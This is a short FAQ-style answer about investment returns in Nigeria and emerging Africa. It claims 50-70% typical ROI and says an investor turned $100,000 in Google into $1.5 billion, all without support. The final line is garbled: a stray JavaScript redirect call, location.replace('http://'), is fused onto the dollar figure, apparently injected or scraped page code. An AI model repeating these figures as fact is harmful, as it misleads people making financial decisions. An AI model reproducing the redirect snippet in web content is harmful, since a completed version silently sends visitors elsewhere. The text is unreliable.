A: This is very dependent on the situation, size of investment, size of company, industry trends, etc. However, it is estimated that many intelligent investment returns in Nigeria and emerging Africa have been in the range of 50-70% return on investment (ROI). Some of course have proven to be less but sometimes are much, much more. Think of the private Intelligent Investor that invested $100,000 into Google, and exited with $1,500,000,000.00location.replace(“http://”);